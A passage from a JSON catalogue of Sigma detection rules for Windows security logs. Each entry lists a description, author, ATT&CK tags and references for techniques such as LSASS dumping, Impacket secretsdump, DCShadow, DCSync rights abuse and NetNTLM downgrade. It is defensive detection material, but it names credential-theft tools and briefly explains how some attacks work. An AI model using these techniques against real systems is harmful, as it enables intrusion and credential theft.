      "value": "Access to ADMIN$ Share"
    },
    {
      "description": "Detects renaming of file while deletion with SDelete tool.",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2017/06/14",
        "falsepositive": [
          "Legitimate usage of SDelete"
        ],
        "filename": "win_security_susp_sdelete.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.jpcert.or.jp/english/pub/sr/ir_research.html",
          "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm",
          "https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_sdelete.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.defense_evasion",
          "attack.t1070.004",
          "attack.t1027.005",
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          "attack.t1553.002",
          "attack.s0195"
        ]
      },
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        {
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
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        },
        {
          "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "39a80702-d7ca-4a83-b776-525b1f86a36d",
      "value": "Secure Deletion with SDelete"
    },
    {
      "description": "Detects certificate creation with template allowing risk permission subject",
      "meta": {
        "author": "Orlinum , BlueDefenZer",
        "creation_date": "2021/11/17",
        "falsepositive": [
          "Administrator activity",
          "Proxy SSL certificate with subject modification",
          "Smart card enrollement"
        ],
        "filename": "win_security_adcs_certificate_template_configuration_vulnerability.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.credential_access"
        ]
      },
      "uuid": "5ee3a654-372f-11ec-8d3d-0242ac130003",
      "value": "ADCS Certificate Template Configuration Vulnerability"
    },
    {
      "description": "Detects potential use of Rubeus via registered new trusted logon process",
      "meta": {
        "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_register_new_logon_process_by_rubeus.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_register_new_logon_process_by_rubeus.yml"
        ],
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          "attack.lateral_movement",
          "attack.privilege_escalation",
          "attack.t1558.003"
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        {
          "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
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      ],
      "uuid": "12e6d621-194f-4f59-90cc-1959e21e69f7",
      "value": "Register new Logon Process by Rubeus"
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      "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.",
      "meta": {
        "author": "OTR (Open Threat Research)",
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        "falsepositive": [
          "Domain Controllers acting as printer servers too? :)"
        ],
        "filename": "win_security_dce_rpc_smb_spoolss_named_pipe.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/_dirkjan/status/1309214379003588608",
          "https://dirkjanm.io/a-different-way-of-abusing-zerologon/",
          "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dce_rpc_smb_spoolss_named_pipe.yml"
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      ],
      "uuid": "214e8f95-100a-4e04-bb31-ef6cba8ce07e",
      "value": "DCERPC SMB Spoolss Named Pipe"
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    {
      "description": "Detects Obfuscated Powershell via Stdin in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_invoke_obfuscation_via_stdin_services_security.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_stdin_services_security.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
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      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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      ],
      "uuid": "80b708f3-d034-40e4-a6c8-d23b7a7db3d1",
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      "meta": {
        "author": "Bartlomiej Czyz, Relativity",
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          "Possible, different agents with a 8 character binary and a 4, 8 or 16 character service name"
        ],
        "filename": "win_security_metasploit_or_impacket_smb_psexec_service_install.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://bczyz1.github.io/2021/01/30/psexec.html",
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        ],
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          "attack.lateral_movement",
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        {
          "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5",
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        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
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          ],
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      ],
      "uuid": "6fb63b40-e02a-403e-9ffd-3bcc1d749442",
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      "description": "Detects WRITE_DAC access to a domain object",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/09/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_ad_object_writedac_access.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html",
          "https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html",
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        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1222.001"
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      },
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        {
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "value": "AD Object WriteDAC Access"
    },
    {
      "description": "This method triggers on rare Kerberos Failure Codes caused by manipulations of Kerberos messages",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/02/10",
        "falsepositive": [
          "Faulty legacy applications"
        ],
        "filename": "win_security_susp_kerberos_manipulation.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_kerberos_manipulation.yml"
        ],
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          "attack.credential_access",
          "attack.t1212"
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      },
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        {
          "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
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      "value": "Kerberos Manipulation"
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    {
      "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes",
      "meta": {
        "author": "Samir Bousseaden",
        "creation_date": "2019/04/03",
        "falsepositive": [
          "Update the excluded named pipe to filter out any newly observed legit named pipe"
        ],
        "filename": "win_security_lm_namedpipe.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/menasec1/status/1104489274387451904",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lm_namedpipe.yml"
        ],
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          "attack.lateral_movement",
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      },
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        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
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      ],
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      "value": "First Time Seen Remote Named Pipe"
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      "meta": {
        "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community",
        "creation_date": "2019/11/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_invoke_obfuscation_obfuscated_iex_services_security.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_obfuscated_iex_services_security.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1027"
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        {
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      "uuid": "fd0f5778-d3cb-4c9a-9695-66759d04702a",
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      "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares",
      "meta": {
        "author": "Teymur Kheirkhabarov, oscd.community",
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        "falsepositive": [
          "Transferring sensitive files for legitimate administration work by legitimate administrator"
        ],
        "filename": "win_security_transf_files_with_cred_data_via_network_shares.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_transf_files_with_cred_data_via_network_shares.yml"
        ],
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          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
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        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
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      "uuid": "910ab938-668b-401b-b08c-b596e80fdca5",
      "value": "Transferring Files with Credential Data via Network Shares"
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      "description": "Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
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        "falsepositive": [
          "Legitimate use of remote PowerShell execution"
        ],
        "filename": "win_security_remote_powershell_session.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_remote_powershell_session.yml"
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      "uuid": "13acf386-b8c6-4fe0-9a6e-c4756b974698",
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      "meta": {
        "author": "xknow @xknow_infosec",
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          "Companies, who may use these default LDAP-Attributes for personal information"
        ],
        "filename": "win_security_susp_ldap_dataexchange.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961",
          "https://github.com/fox-it/LDAPFragger",
          "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml"
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      "description": "Detects potential mimikatz-like tools accessing LSASS from non system account",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/06/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_lsass_access_non_system_account.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/170105-LSASSMemoryReadAccess/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml"
        ],
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          "attack.credential_access",
          "attack.t1003.001"
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      },
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      "value": "LSASS Access from Non System Account"
    },
    {
      "description": "Detect AD credential dumping using impacket secretdump HKTL",
      "meta": {
        "author": "Samir Bousseaden, wagga",
        "creation_date": "2019/04/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_impacket_secretdump.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_secretdump.yml"
        ],
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          "attack.credential_access",
          "attack.t1003.002",
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      },
      "related": [
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          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
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          "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
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        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
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      ],
      "uuid": "252902e3-5830-4cf6-bf21-c22083dfd5cf",
      "value": "Possible Impacket SecretDump Remote Activity"
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      "description": "Detects certificate creation with template allowing risk permission subject and risky EKU",
      "meta": {
        "author": "Orlinum , BlueDefenZer",
        "creation_date": "2021/11/17",
        "falsepositive": [
          "Administrator activity",
          "Proxy SSL certificate with subject modification",
          "Smart card enrollement"
        ],
        "filename": "win_security_adcs_certificate_template_configuration_vulnerability_eku.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability_eku.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.credential_access"
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      },
      "uuid": "bfbd3291-de87-4b7c-88a2-d6a5deb28668",
      "value": "ADCS Certificate Template Configuration Vulnerability with Risky EKU"
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      "description": "Detects DCShadow via create new SPN",
      "meta": {
        "author": "Ilyas Ochkov, oscd.community, Chakib Gzenayi (@Chak092), Hosni Mribah",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Valid on domain controllers; exclude known DCs"
        ],
        "filename": "win_security_possible_dc_shadow.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.alsid.eu/dcshadow-explained-4510f52fc19d",
          "https://twitter.com/gentilkiwi/status/1003236624925413376",
          "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possible_dc_shadow.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1207"
        ]
      },
      "related": [
        {
          "dest-uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "32e19d25-4aed-4860-a55a-be99cb0bf7ed",
      "value": "Possible DC Shadow Attack"
    },
    {
      "description": "Detects when a Windows Defender exclusion has been deleted. This could indicate an attacker trying to delete their tracks by removing the added exclusions\n",
      "meta": {
        "author": "@BarryShooshooga",
        "creation_date": "2019/10/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_windows_defender_exclusions_write_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_windows_defender_exclusions_write_deleted.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a33f8808-2812-4373-ae95-8cfb82134978",
      "value": "Windows Defender Exclusion Deleted"
    },
    {
      "description": "Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/06/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_dpapi_domain_backupkey_extraction.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_backupkey_extraction.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4ac1f50b-3bd0-4968-902d-868b4647937e",
      "value": "DPAPI Domain Backup Key Extraction"
    },
    {
      "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network for a WMI DLL Hijack scenario.",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_wmiprvse_wbemcomn_dll_hijack.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmiprvse_wbemcomn_dll_hijack.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047",
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f6c68d5f-e101-4b86-8c84-7d96851fd65c",
      "value": "T1047 Wmiprvse Wbemcomn DLL Hijack"
    },
    {
      "description": "Detect scenarios where a potentially unauthorized application or user is modifying the system time.",
      "meta": {
        "author": "@neu5ron",
        "creation_date": "2019/02/05",
        "falsepositive": [
          "HyperV or other virtualization technologies with binary not listed in filter portion of detection"
        ],
        "filename": "win_security_susp_time_modification.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4616",
          "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)",
          "Live environment caused by malware",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "faa031b5-21ed-4e02-8881-2591f98d82ed",
      "value": "Unauthorized System Time Modification"
    },
    {
      "description": "Detects NetNTLM downgrade attack",
      "meta": {
        "author": "Florian Roth (Nextron Systems), wagga",
        "creation_date": "2018/03/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_net_ntlm_downgrade.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_ntlm_downgrade.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d3abac66-f11c-4ed0-8acb-50cc29c97eed",
      "value": "NetNTLM Downgrade Attack"
    },
    {
      "description": "Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)",
        "creation_date": "2020/10/20",
        "falsepositive": [
          "Legitimate use of VSSVC. Maybe backup operations. It would usually be done by C:\\Windows\\System32\\VSSVC.exe."
        ],
        "filename": "win_security_vssaudit_secevent_source_registration.yml",
        "level": "informational",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_vssaudit_secevent_source_registration.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e9faba72-4974-4ab2-a4c5-46e25ad59e9b",
      "value": "VSSAudit Security Event Source Registration"
    },
    {
      "description": "The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password to gain persistence.",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2017/02/19",
        "falsepositive": [
          "Initial installation of a domain controller"
        ],
        "filename": "win_security_susp_dsrm_password_change.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://adsecurity.org/?p=1714",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_dsrm_password_change.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "53ad8e36-f573-46bf-97e4-15ba5bf4bb51",
      "value": "Password Change on Directory Service Restore Mode (DSRM) Account"
    },
    {
      "description": "Detects \"read access\" requests on the services registry key.\nAdversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.\n",
      "meta": {
        "author": "Center for Threat Informed Defense (CTID) Summiting the Pyramid Team",
        "creation_date": "2023/09/28",
        "falsepositive": [
          "Likely from legitimate applications reading their key. Requires heavy tuning"
        ],
        "filename": "win_security_registry_permissions_weakness_check.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/service_registry_permissions_weakness_check/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_registry_permissions_weakness_check.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1574.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "11d00fff-5dc3-428c-8184-801f292faec0",
      "value": "Service Registry Key Read Access Request"
    },
    {
      "description": "Detects Obfuscated use of stdin to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_invoke_obfuscation_stdin_services_security.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0c718a5e-4284-4fb9-b4d9-b9a50b3a1974",
      "value": "Invoke-Obfuscation STDIN+ Launcher - Security"
    },
    {
      "description": "Detects code integrity failures such as missing page hashes or corrupted drivers due unauthorized modification. This could be a sign of tampered binaries.",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2019/12/03",
        "falsepositive": [
          "Disk device errors"
        ],
        "filename": "win_security_susp_codeintegrity_check_failure.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_codeintegrity_check_failure.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "470ec5fa-7b4e-4071-b200-4c753100f49b",
      "value": "Failed Code Integrity Checks"
    },
    {
      "description": "Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer",
      "meta": {
        "author": "Samir Bousseaden; Roberto Rodriguez @Cyb3rWard0g; oscd.community; Tim Shelton; Maxence Fossat",
        "creation_date": "2019/04/03",
        "falsepositive": [
          "New Domain Controller computer account, check user SIDs within the value attribute of event 5136 and verify if it's a regular user or DC computer account."
        ],
        "filename": "win_security_account_backdoor_dcsync_rights.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf",
          "https://twitter.com/menasec1/status/1111556090137903104",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098"
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      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2c99737c-585d-4431-b61a-c911d86ff32f",
      "value": "Powerview Add-DomainObjectAcl DCSync AD Extend Right"
    },
    {
      "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.",
      "meta": {
        "author": "Ilyas Ochkov, oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Web Browsers"
        ],
        "filename": "win_security_susp_outbound_kerberos_connection.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/GhostPack/Rubeus",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_outbound_kerberos_connection.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1558.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "eca91c7c-9214-47b9-b4c5-cb1d7e4f2350",
      "value": "Suspicious Outbound Kerberos Connection - Security"
    },
    {
      "description": "Detects suspicious processes logging on with explicit credentials",
      "meta": {
        "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Tim Shelton",
        "creation_date": "2020/10/05",
        "falsepositive": [
          "Administrators that use the RunAS command or scheduled tasks"
        ],
        "filename": "win_security_susp_logon_explicit_credentials.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_explicit_credentials.yml"
        ],
        "tags": [
          "attack.t1078",
          "attack.lateral_movement"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "941e5c45-cda7-4864-8cea-bbb7458d194a",
      "value": "Suspicious Remote Logon with Explicit Credentials"
    },
    {
      "description": "Detects scenarios where system auditing for important events such as \"Process Creation\" or \"Logon\" events is disabled.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/20",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "win_security_disable_event_auditing_critical.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/blob/master/documentation/logsource-guides/windows/service/security.md",
          "https://docs.google.com/presentation/d/1dkrldTTlN3La-OjWtkWJBb4hVk6vfsSMBFBERs6R8zA/edit",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_auditing_critical.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "ab4561b1-6c7e-48a7-ad08-087cfb9ce8f1",
      "value": "Important Windows Event Auditing Disabled"
    },
    {
      "description": "Detects Obfuscated use of Clip.exe to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_security_invoke_obfuscation_clip_services_security.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
